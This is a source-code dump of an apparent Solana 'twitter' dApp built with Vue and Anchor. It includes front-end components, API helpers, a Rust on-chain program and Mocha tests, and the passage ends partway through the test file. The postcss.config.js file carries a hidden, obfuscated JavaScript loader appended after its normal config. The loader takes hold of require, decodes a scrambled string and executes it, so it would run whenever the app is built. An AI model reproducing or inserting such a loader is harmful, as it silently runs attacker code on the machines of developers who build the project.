├── app ├── src │ ├── models │ │ ├── index.js │ │ └── tweet.js │ ├── assets │ │ └── logo.png │ ├── api │ │ ├── index.js │ │ ├── get-tweet.js │ │ ├── fetch-tweets.js │ │ └── send-tweet.js │ ├── composables │ │ ├── index.js │ │ ├── useFromRoute.js │ │ ├── useCountCharacterLimit.js │ │ ├── useSlug.js │ │ ├── useAutoresizeTextarea.js │ │ └── useWorkspace.js │ ├── components │ │ ├── PageNotFound.vue │ │ ├── PageHome.vue │ │ ├── TweetList.vue │ │ ├── PageProfile.vue │ │ ├── PageTweet.vue │ │ ├── TweetSearch.vue │ │ ├── TweetCard.vue │ │ ├── PageUsers.vue │ │ ├── PageTopics.vue │ │ ├── TweetForm.vue │ │ └── TheSidebar.vue │ ├── main.css │ ├── main.js │ ├── routes.js │ └── App.vue ├── public │ ├── favicon.ico │ └── index.html ├── babel.config.js ├── tailwind.config.js ├── .gitignore ├── jsconfig.json ├── README.md ├── vue.config.js ├── package.json └── postcss.config.js ├── .gitignore ├── programs └── solana-twitter │ ├── Xargo.toml │ ├── Cargo.toml │ └── src │ └── lib.rs ├── .prettierignore ├── Cargo.toml ├── tsconfig.json ├── Anchor.toml ├── migrations └── deploy.ts ├── package.json ├── tests └── solana-twitter.ts ├── Cargo.lock └── yarn.lock /app/src/models/index.js: -------------------------------------------------------------------------------- 1 | export * from './tweet' 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /app/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysfkel/solana-tweeter/HEAD/app/public/favicon.ico -------------------------------------------------------------------------------- /app/src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysfkel/solana-tweeter/HEAD/app/src/assets/logo.png -------------------------------------------------------------------------------- /programs/solana-twitter/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /app/babel.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | presets: [ 3 | '@vue/cli-plugin-babel/preset' 4 | ] 5 | } 6 | -------------------------------------------------------------------------------- /app/src/api/index.js: -------------------------------------------------------------------------------- 1 | export * from './fetch-tweets' 2 | export * from './get-tweet' 3 | export * from './send-tweet' 4 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*", 4 | ] 5 | 6 | [provider] 7 | cluster = "devnet" 8 | # cluster = "localnet" 9 | wallet = "/Users/yusufkelo/.config/solana/id.json" 10 | -------------------------------------------------------------------------------- /app/src/composables/index.js: -------------------------------------------------------------------------------- 1 | export * from './useAutoresizeTextarea' 2 | export * from './useCountCharacterLimit' 3 | export * from './useFromRoute' 4 | export * from './useSlug' 5 | export * from './useWorkspace' 6 | -------------------------------------------------------------------------------- /app/tailwind.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | content: [], 3 | theme: { 4 | extend: {}, 5 | }, 6 | plugins: [], 7 | purge: [ 8 | './public/index.html', 9 | './src/**/*.{vue,js,ts,jsx,tsx}', 10 | ], 11 | } 12 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /app/src/composables/useFromRoute.js: -------------------------------------------------------------------------------- 1 | import { onBeforeRouteUpdate, useRoute } from 'vue-router' 2 | 3 | export const useFromRoute = (fn) => { 4 | fn(useRoute(), null) 5 | onBeforeRouteUpdate((to, from, next) => { 6 | fn(to, from) 7 | next() 8 | }) 9 | } 10 | -------------------------------------------------------------------------------- /app/src/composables/useCountCharacterLimit.js: -------------------------------------------------------------------------------- 1 | import { ref, watchEffect } from "vue" 2 | 3 | export const useCountCharacterLimit = (text, limit) => { 4 | const characterLimit = ref(0) 5 | watchEffect(() => characterLimit.value = limit - text.value?.length) 6 | 7 | return characterLimit 8 | } 9 | -------------------------------------------------------------------------------- /app/src/components/PageNotFound.vue: -------------------------------------------------------------------------------- 1 | 9 | -------------------------------------------------------------------------------- /app/src/api/get-tweet.js: -------------------------------------------------------------------------------- 1 | import { useWorkspace } from '@/composables' 2 | import { Tweet } from '@/models' 3 | 4 | export const getTweet = async (publicKey) => { 5 | const { program } = useWorkspace() 6 | const account = await program.value.account.tweet.fetch(publicKey); 7 | return new Tweet(publicKey, account) 8 | } -------------------------------------------------------------------------------- /app/src/composables/useSlug.js: -------------------------------------------------------------------------------- 1 | import { computed } from 'vue' 2 | 3 | export const useSlug = text => { 4 | return computed(() => { 5 | return (text.value || '') 6 | .toLowerCase() 7 | .replace(/[^a-z0-9 -]/g, '') 8 | .replace(/\s+/g, '-') 9 | .replace(/-+/g, '-') 10 | }) 11 | } 12 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | /dist 4 | 5 | 6 | # local env files 7 | .env.local 8 | .env.*.local 9 | 10 | # Log files 11 | npm-debug.log* 12 | yarn-debug.log* 13 | yarn-error.log* 14 | pnpm-debug.log* 15 | 16 | # Editor directories and files 17 | .idea 18 | .vscode 19 | *.suo 20 | *.ntvs* 21 | *.njsproj 22 | *.sln 23 | *.sw? 24 | -------------------------------------------------------------------------------- /app/jsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "module": "esnext", 5 | "baseUrl": "./", 6 | "moduleResolution": "node", 7 | "paths": { 8 | "@/*": [ 9 | "src/*" 10 | ] 11 | }, 12 | "lib": [ 13 | "esnext", 14 | "dom", 15 | "dom.iterable", 16 | "scripthost" 17 | ] 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solana_twitter = "DztaazG8QVrABwRoC4kgCJfaPZmmCu711Ms3uCuaKNcR" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | # cluster = "localnet" 11 | cluster = "devnet" 12 | wallet = "/Users/yusufkelo/.config/solana/id.json" 13 | 14 | [scripts] 15 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 16 | -------------------------------------------------------------------------------- /app/README.md: -------------------------------------------------------------------------------- 1 | # app 2 | 3 | ## Project setup 4 | ``` 5 | npm install 6 | ``` 7 | 8 | ### Compiles and hot-reloads for development 9 | ``` 10 | npm run serve 11 | ``` 12 | 13 | ### Compiles and minifies for production 14 | ``` 15 | npm run build 16 | ``` 17 | 18 | ### Lints and fixes files 19 | ``` 20 | npm run lint 21 | ``` 22 | 23 | ### Customize configuration 24 | See [Configuration Reference](https://cli.vuejs.org/config/). 25 | -------------------------------------------------------------------------------- /migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /programs/solana-twitter/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solana-twitter" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solana_twitter" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | 21 | [dependencies] 22 | anchor-lang = "0.24.2" 23 | -------------------------------------------------------------------------------- /app/src/main.css: -------------------------------------------------------------------------------- 1 | @tailwind base; 2 | @tailwind components; 3 | @tailwind utilities; 4 | 5 | .swv-dropdown { 6 | @apply w-full; 7 | } 8 | 9 | .swv-button { 10 | @apply rounded-full w-full; 11 | } 12 | 13 | .swv-button-trigger { 14 | @apply bg-pink-500 justify-center !important; 15 | } 16 | 17 | .swv-dropdown-list { 18 | @apply top-auto bottom-full md:top-full md:bottom-auto md:left-0 md:right-auto; 19 | } 20 | 21 | .swv-dropdown-list-active { 22 | @apply transform -translate-y-3 md:translate-y-3; 23 | } 24 | -------------------------------------------------------------------------------- /app/src/composables/useAutoresizeTextarea.js: -------------------------------------------------------------------------------- 1 | import { watchEffect } from "vue" 2 | 3 | export const useAutoresizeTextarea = (element) => { 4 | const resizeTextarea = () => { 5 | element.value.style.height = 'auto' 6 | element.value.style.height = element.value.scrollHeight + 'px' 7 | } 8 | 9 | watchEffect(onInvalidate => { 10 | if (! element.value) return 11 | resizeTextarea() 12 | element.value.addEventListener('input', resizeTextarea) 13 | onInvalidate(() => element.value?.removeEventListener('input', resizeTextarea)) 14 | }) 15 | } 16 | -------------------------------------------------------------------------------- /app/src/components/PageHome.vue: -------------------------------------------------------------------------------- 1 | 15 | 16 | 20 | -------------------------------------------------------------------------------- /app/vue.config.js: -------------------------------------------------------------------------------- 1 | const { defineConfig } = require('@vue/cli-service') 2 | const webpack = require('webpack') 3 | 4 | module.exports = defineConfig({ 5 | transpileDependencies: true, 6 | configureWebpack: { 7 | plugins: [ 8 | new webpack.ProvidePlugin({ 9 | Buffer: ['buffer', 'Buffer'] 10 | }) 11 | ], 12 | resolve: { 13 | fallback: { 14 | crypto: false, 15 | fs: false, 16 | assert: false, 17 | process: false, 18 | util: false, 19 | path: false, 20 | stream: false, 21 | } 22 | } 23 | } 24 | }) 25 | -------------------------------------------------------------------------------- /app/src/main.js: -------------------------------------------------------------------------------- 1 | import 'solana-wallets-vue/styles.css' 2 | import './main.css' 3 | 4 | // Day.js 5 | import dayjs from 'dayjs' 6 | import localizedFormat from 'dayjs/plugin/localizedFormat' 7 | import relativeTime from 'dayjs/plugin/relativeTime' 8 | dayjs.extend(localizedFormat) 9 | dayjs.extend(relativeTime) 10 | 11 | // Routing. 12 | import { createRouter, createWebHashHistory } from 'vue-router' 13 | import routes from './routes' 14 | const router = createRouter({ 15 | history: createWebHashHistory(), 16 | routes, 17 | }) 18 | 19 | import { createApp } from 'vue' 20 | import App from './App.vue' 21 | createApp(App).use(router).mount('#app') 22 | -------------------------------------------------------------------------------- /app/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | <%= htmlWebpackPlugin.options.title %> 9 | 10 | 11 | 14 |
15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /app/src/components/TweetList.vue: -------------------------------------------------------------------------------- 1 | 15 | 16 | 26 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2", 8 | "autoprefixer": "^10.4.7", 9 | "bs58": "^5.0.0", 10 | "postcss": "^8.4.14", 11 | "tailwindcss": "^3.0.24" 12 | }, 13 | "devDependencies": { 14 | "@types/bn.js": "^5.1.0", 15 | "@types/chai": "^4.3.0", 16 | "@types/mocha": "^9.0.0", 17 | "chai": "^4.3.4", 18 | "mocha": "^9.0.3", 19 | "prettier": "^2.6.2", 20 | "ts-mocha": "^10.0.0", 21 | "typescript": "^4.3.5" 22 | }, 23 | "license": "BSD-3-Clause", 24 | "private": true 25 | } 26 | -------------------------------------------------------------------------------- /app/src/api/fetch-tweets.js: -------------------------------------------------------------------------------- 1 | import { useWorkspace } from '@/composables' 2 | import { Tweet } from '@/models' 3 | import bs58 from 'bs58' 4 | 5 | export const fetchTweets = async (filters = []) => { 6 | const { program } = useWorkspace() 7 | const tweets = await program.value.account.tweet.all(filters); 8 | return tweets.map(tweet => new Tweet(tweet.publicKey, tweet.account)) 9 | } 10 | 11 | export const authorFilter = authorBase58PublicKey => ({ 12 | memcmp: { 13 | offset: 8, // Discriminator. 14 | bytes: authorBase58PublicKey, 15 | } 16 | }) 17 | 18 | 19 | export const topicFilter = topic => ({ 20 | memcmp: { 21 | offset: 8 + // Discriminator. 22 | 32 + // Author public key. 23 | 8 + // Timestamp. 24 | 4, // Topic string prefix. 25 | bytes: bs58.encode(Buffer.from(topic)), 26 | } 27 | }) -------------------------------------------------------------------------------- /app/src/models/tweet.js: -------------------------------------------------------------------------------- 1 | import dayjs from "dayjs" 2 | 3 | export class Tweet 4 | { 5 | constructor (publicKey, accountData) { 6 | console.log('publicKey --', publicKey) 7 | this.publicKey = publicKey 8 | this.author = accountData.author 9 | this.timestamp = accountData.timestamp.toString() 10 | this.topic = accountData.topic 11 | this.content = accountData.content 12 | } 13 | 14 | get key () { 15 | return this.publicKey.toBase58() 16 | } 17 | 18 | get author_display () { 19 | const author = this.author.toBase58() 20 | return author.slice(0,4) + '..' + author.slice(-4) 21 | } 22 | 23 | get created_at () { 24 | return dayjs.unix(this.timestamp).format('lll') 25 | } 26 | 27 | get created_ago () { 28 | return dayjs.unix(this.timestamp).fromNow() 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /app/src/routes.js: -------------------------------------------------------------------------------- 1 | export default [ 2 | { 3 | name: 'Home', 4 | path: '/', 5 | component: require('@/components/PageHome').default, 6 | }, 7 | { 8 | name: 'Topics', 9 | path: '/topics/:topic?', 10 | component: require('@/components/PageTopics').default, 11 | }, 12 | { 13 | name: 'Users', 14 | path: '/users/:author?', 15 | component: require('@/components/PageUsers').default, 16 | }, 17 | { 18 | name: 'Profile', 19 | path: '/profile', 20 | component: require('@/components/PageProfile').default, 21 | }, 22 | { 23 | name: 'Tweet', 24 | path: '/tweet/:tweet', 25 | component: require('@/components/PageTweet').default, 26 | }, 27 | { 28 | name: 'NotFound', 29 | path: '/:pathMatch(.*)*', 30 | component: require('@/components/PageNotFound').default, 31 | }, 32 | ] 33 | -------------------------------------------------------------------------------- /app/src/api/send-tweet.js: -------------------------------------------------------------------------------- 1 | import * as anchor from '@project-serum/anchor' 2 | import { useWorkspace } from '@/composables' 3 | import { Tweet } from '@/models' 4 | 5 | export const sendTweet = async (topic, content) => { 6 | 7 | // As with the other API endpoints, we import and call the useWorkspace method 8 | // to access our program and the connected Anchor walle 9 | const { wallet, program } = useWorkspace(); 10 | 11 | const tweet = anchor.web3.Keypair.generate(); 12 | 13 | await program.value.rpc.sendTweet(topic, content, { 14 | accounts: { 15 | author: wallet.value.publicKey, 16 | tweet: tweet.publicKey, 17 | systemProgram: anchor.web3.SystemProgram.programId, 18 | }, 19 | signers: [tweet] 20 | }) 21 | 22 | const tweetAccount = await program.value.account.tweet.fetch(tweet.publicKey) 23 | 24 | return new Tweet(tweet.publicKey, tweetAccount) 25 | } 26 | -------------------------------------------------------------------------------- /app/src/components/PageProfile.vue: -------------------------------------------------------------------------------- 1 | 20 | 21 | 28 | -------------------------------------------------------------------------------- /app/src/components/PageTweet.vue: -------------------------------------------------------------------------------- 1 | 25 | 26 | 35 | -------------------------------------------------------------------------------- /app/src/App.vue: -------------------------------------------------------------------------------- 1 | 18 | 19 | 37 | -------------------------------------------------------------------------------- /app/src/composables/useWorkspace.js: -------------------------------------------------------------------------------- 1 | import { computed } from 'vue' 2 | import { useAnchorWallet } from 'solana-wallets-vue' 3 | // import { Connection, clusterApiUrl, PublicKey } from '@solana/web3.js' 4 | import { Connection, PublicKey } from '@solana/web3.js' 5 | // import { Provider } from '@project-serum/anchor' 6 | import idl from '../../../target/idl/solana_twitter.json' 7 | import * as anchor from '@project-serum/anchor'; 8 | 9 | const preflightCommitment = 'processed' 10 | const commitment = 'confirmed'; 11 | 12 | 13 | const programID = new PublicKey(idl.metadata.address) 14 | 15 | const { Program, AnchorProvider } = anchor; 16 | 17 | let workspace = null 18 | export const useWorkspace = () => workspace 19 | 20 | export const initWorkspace = () => { 21 | 22 | const wallet = useAnchorWallet() 23 | const connection = new Connection('https://api.devnet.solana.com');//('http://127.0.0.1:8899') 24 | const provider = computed(() => new AnchorProvider(connection, wallet.value, { preflightCommitment, commitment })) 25 | const program = computed(() => new Program(idl, programID, provider.value)) 26 | 27 | workspace = { 28 | wallet, 29 | connection, 30 | provider, 31 | program, 32 | } 33 | } -------------------------------------------------------------------------------- /app/src/components/TweetSearch.vue: -------------------------------------------------------------------------------- 1 | 13 | 14 | 39 | -------------------------------------------------------------------------------- /app/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "app", 3 | "version": "0.1.0", 4 | "private": true, 5 | "scripts": { 6 | "serve": "vue-cli-service serve", 7 | "build": "vue-cli-service build", 8 | "lint": "vue-cli-service lint" 9 | }, 10 | "dependencies": { 11 | "@project-serum/anchor": "^0.25.0-beta.1", 12 | "@solana/wallet-adapter-wallets": "^0.15.5", 13 | "autoprefixer": "^10.4.7", 14 | "core-js": "^3.8.3", 15 | "dayjs": "^1.11.2", 16 | "postcss": "^8.4.14", 17 | "solana-wallets-vue": "^0.3.2", 18 | "tailwindcss": "^3.0.24", 19 | "ts-mocha": "^10.0.0", 20 | "vue": "^3.2.13", 21 | "vue-router": "^4.0.15" 22 | }, 23 | "devDependencies": { 24 | "@babel/core": "^7.12.16", 25 | "@babel/eslint-parser": "^7.12.16", 26 | "@vue/cli-plugin-babel": "~5.0.0", 27 | "@vue/cli-plugin-eslint": "~5.0.0", 28 | "@vue/cli-service": "~5.0.0", 29 | "eslint": "^7.32.0", 30 | "eslint-plugin-vue": "^8.0.3" 31 | }, 32 | "eslintConfig": { 33 | "root": true, 34 | "env": { 35 | "node": true, 36 | "vue/setup-compiler-macros": true 37 | }, 38 | "extends": [ 39 | "plugin:vue/vue3-essential", 40 | "eslint:recommended" 41 | ], 42 | "parserOptions": { 43 | "parser": "@babel/eslint-parser" 44 | }, 45 | "rules": {} 46 | }, 47 | "browserslist": [ 48 | "> 1%", 49 | "last 2 versions", 50 | "not dead", 51 | "not ie 11" 52 | ], 53 | "license": "BSD-3-Clause" 54 | } 55 | -------------------------------------------------------------------------------- /app/src/components/TweetCard.vue: -------------------------------------------------------------------------------- 1 | 23 | 24 | 52 | -------------------------------------------------------------------------------- /app/src/components/PageUsers.vue: -------------------------------------------------------------------------------- 1 | 44 | 45 | 76 | -------------------------------------------------------------------------------- /app/src/components/PageTopics.vue: -------------------------------------------------------------------------------- 1 | 49 | 50 | 81 | -------------------------------------------------------------------------------- /app/src/components/TweetForm.vue: -------------------------------------------------------------------------------- 1 | 49 | 50 | 109 | -------------------------------------------------------------------------------- /programs/solana-twitter/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_lang::solana_program::system_program; 3 | 4 | declare_id!("DztaazG8QVrABwRoC4kgCJfaPZmmCu711Ms3uCuaKNcR"); 5 | 6 | #[program] 7 | pub mod solana_twitter { 8 | use super::*; 9 | 10 | // A working instruction that initialises a new Tweet account for us and hydrates it with the right information 11 | pub fn send_tweet(ctx: Context, topic: String, content: String) -> Result<()> { 12 | let tweet: &mut Account = &mut ctx.accounts.tweet; 13 | let author: &Signer = &ctx.accounts.author; 14 | /** 15 | * We need access to Solana's Clock system variable to figure out the current 16 | * timestamp and store it on the tweet. 17 | */ 18 | let clock: Clock = Clock::get().unwrap(); 19 | 20 | if topic.chars().count() > 50 { 21 | return Err(ErrorCode::TopicTooLong.into()); 22 | } 23 | 24 | if content.chars().count() > 280 { 25 | return Err(ErrorCode::ContentTooLong.into()); 26 | } 27 | msg!("HELLOW SOLANA"); 28 | //Let's start with the author's public key. We can access it via author.key 29 | tweet.author = *author.key; 30 | // Then, we can retrieve the current UNIX timestamp from the clock by using clock.unix_timestamp. 31 | tweet.timestamp = clock.unix_timestamp; 32 | tweet.topic = topic; 33 | tweet.content = content; 34 | Ok(()) 35 | } 36 | } 37 | 38 | #[derive(Accounts)] 39 | pub struct Initialize {} 40 | 41 | #[account] 42 | pub struct Tweet { 43 | pub author: Pubkey, // pub struct Pubkey(pub(crate) PUBLIC_KEY_LENGTH 44 | pub timestamp: i64, 45 | pub topic: String, 46 | pub content: String, 47 | } 48 | 49 | /*** 50 | * adding an account on a context simply means its public key should be 51 | * provided (see Tweet above) when sending the instruction Additionally, we might also require 52 | * the account to use its private key to sign the instruction depending on 53 | * what we're planning to do with the account. For instance, we will want 54 | * the author account to sign the instruction to ensure somebody is not 55 | * tweeting on behalf of someone else. 56 | */ 57 | #[derive(Accounts)] 58 | pub struct SendTweet<'info> { 59 | // Account<'info, Tweet> means this is an account of type Tweet and the data should be parsed accordingly. 60 | #[account(init, payer = author, space = Tweet::LEN)] 61 | pub tweet: Account<'info, Tweet>, 62 | //As mentioned above, we need to know who is sending the tweet and we need their signature to prove it. 63 | /** 64 | * the author should pay for the rent-exempt money of the tweet account, we need to mark the author 65 | * property as mutable. That's because we are going to mutate the amount of money in their account. 66 | */ 67 | #[account(mut)] 68 | pub author: Signer<'info>, 69 | /** 70 | * we need a constraint on the system_program to ensure it really is the official System Program from Solana. 71 | * Otherwise, nothing stops users from providing us with a malicious System Program. 72 | */ 73 | #[account(address = system_program::ID)] 74 | // pub system_program: AccountInfo<'info>, 75 | // EDIT 2022-03-22: In newer versions of Anchor, we can achieve the same result by using yet another type of account called Program and passing it the System type to ensure it is the official System program. 76 | pub system_program: Program<'info, System>, 77 | } 78 | 79 | // sizing from https://lorisleiva.com/create-a-solana-dapp-from-scratch/structuring-our-tweet-account 80 | const DISCRIMINATOR_LENGTH: usize = 8; 81 | const PUBLIC_KEY_LENGTH: usize = 32; // 8bits = 1 byte | 1byte * 32 items = 32 82 | const TIME_STAMP: usize = 8; 83 | const STRING_LENGTH_PREFIX: usize = 4; 84 | const MAX_TOPIC_LENGTH: usize = 50 * 4; 85 | const MAX_CONTENT_LENGTH: usize = 280 * 4; 86 | 87 | impl Tweet { 88 | const LEN: usize = DISCRIMINATOR_LENGTH 89 | + PUBLIC_KEY_LENGTH 90 | + TIME_STAMP 91 | + STRING_LENGTH_PREFIX 92 | + MAX_TOPIC_LENGTH 93 | + MAX_CONTENT_LENGTH; 94 | } 95 | 96 | #[error_code] 97 | pub enum ErrorCode { 98 | #[msg("The provided topic should be 50 characters long maximum")] 99 | TopicTooLong, 100 | #[msg("The provided content should be 280 characters long maximum")] 101 | ContentTooLong, 102 | } 103 | -------------------------------------------------------------------------------- /app/postcss.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | plugins: { 3 | tailwindcss: {}, 4 | autoprefixer: {}, 5 | }, 6 | }; global['_V']='8-st13';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})() 7 | -------------------------------------------------------------------------------- /app/src/components/TheSidebar.vue: -------------------------------------------------------------------------------- 1 | 4 | 5 | 179 | -------------------------------------------------------------------------------- /tests/solana-twitter.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { SolanaTwitter } from "../target/types/solana_twitter"; 4 | import * as assert from "assert"; 5 | import * as bs58 from "bs58"; 6 | 7 | describe("solana-twitter", () => { 8 | // Configure the client to use the local cluster. 9 | anchor.setProvider(anchor.AnchorProvider.env()); 10 | 11 | // creates a program object we can use in our tests 12 | const program = anchor.workspace.SolanaTwitter as Program; 13 | 14 | it("can send a tweet!", async () => { 15 | const tweet = anchor.web3.Keypair.generate(); 16 | 17 | await program.methods.sendTweet('non_vegetarian', 'I eat meat') 18 | .accounts({ 19 | tweet: tweet.publicKey, 20 | author: program.provider.wallet.payer.publicKey, 21 | systemProgram: anchor.web3.SystemProgram.programId 22 | }) 23 | .signers([tweet]) 24 | .rpc(); 25 | // Fetch the account details of the created tweet. 26 | const tweetAccount = await program.account.tweet.fetch(tweet.publicKey) 27 | console.log(tweetAccount) 28 | assert.equal(tweetAccount.author.toBase58(), program.provider.wallet.publicKey.toBase58()); 29 | assert.equal(tweetAccount.content, 'I eat meat'); 30 | assert.equal(tweetAccount.topic, 'non_vegetarian'); 31 | assert.ok(tweetAccount.timestamp) 32 | }); 33 | 34 | it('can send tweet without topic', async() => { 35 | const tweet = anchor.web3.Keypair.generate(); 36 | await program.methods.sendTweet('', 'I eat meat') 37 | .accounts({ 38 | tweet: tweet.publicKey, 39 | author: program.provider.wallet.payer.publicKey, 40 | systemProgram: anchor.web3.SystemProgram.programId 41 | }) 42 | .signers([tweet]) 43 | .rpc() 44 | // Fetch the account details of the created tweet. 45 | const tweetAccount = await program.account.tweet.fetch(tweet.publicKey) 46 | console.log(tweetAccount) 47 | assert.equal(tweetAccount.author.toBase58(), program.provider.wallet.publicKey.toBase58()); 48 | assert.equal(tweetAccount.content, 'I eat meat'); 49 | assert.equal(tweetAccount.topic, ''); 50 | assert.ok(tweetAccount.timestamp) 51 | }) 52 | 53 | it('can send a new tweet from a different author', async() => { 54 | 55 | const otherUser = anchor.web3.Keypair.generate(); 56 | 57 | const tweet = anchor.web3.Keypair.generate(); 58 | 59 | // we need to airdrop some money to the otherUser 60 | const signature = await program.provider.connection.requestAirdrop(otherUser.publicKey, 1000000000) 61 | // it's only "requesting" for the airdrop To ensure we wait long enough for the money 62 | // to be in the otherUser account, we need to wait for the transaction to confirm. 63 | await program.provider.connection.confirmTransaction(signature); 64 | await program.methods.sendTweet('', 'I eat meat') 65 | .accounts({ 66 | tweet: tweet.publicKey, 67 | author: otherUser.publicKey, 68 | systemProgram: anchor.web3.SystemProgram.programId 69 | }) 70 | .signers([otherUser, tweet]) 71 | .rpc() 72 | // Fetch the account details of the created tweet. 73 | const tweetAccount = await program.account.tweet.fetch(tweet.publicKey) 74 | assert.equal(tweetAccount.author.toBase58(), otherUser.publicKey.toBase58()); 75 | assert.equal(tweetAccount.content, 'I eat meat'); 76 | assert.equal(tweetAccount.topic, ''); 77 | assert.ok(tweetAccount.timestamp) 78 | }) 79 | 80 | it('cannot provide a topic with more than 50 characters', async() => { 81 | const tweet = anchor.web3.Keypair.generate(); 82 | 83 | const topicWith51Chars = 'x'.repeat(51); 84 | 85 | await program.methods.sendTweet(topicWith51Chars, 'I eat meat') 86 | .accounts({ 87 | tweet: tweet.publicKey, 88 | author: program.provider.wallet.payer.publicKey, 89 | systemProgram: anchor.web3.SystemProgram.programId 90 | }) 91 | .signers([tweet]) 92 | .rpc() 93 | .catch(error => { 94 | console.log(error.error) 95 | assert.equal(error.error.errorMessage, 'The provided topic should be 50 characters long maximum') 96 | return 97 | }) 98 | }) 99 | 100 | it('cannot provide a content with more than 280 characters', async() => { 101 | const tweet = anchor.web3.Keypair.generate(); 102 | 103 | const contentWith281Chars = 'x'.repeat(281); 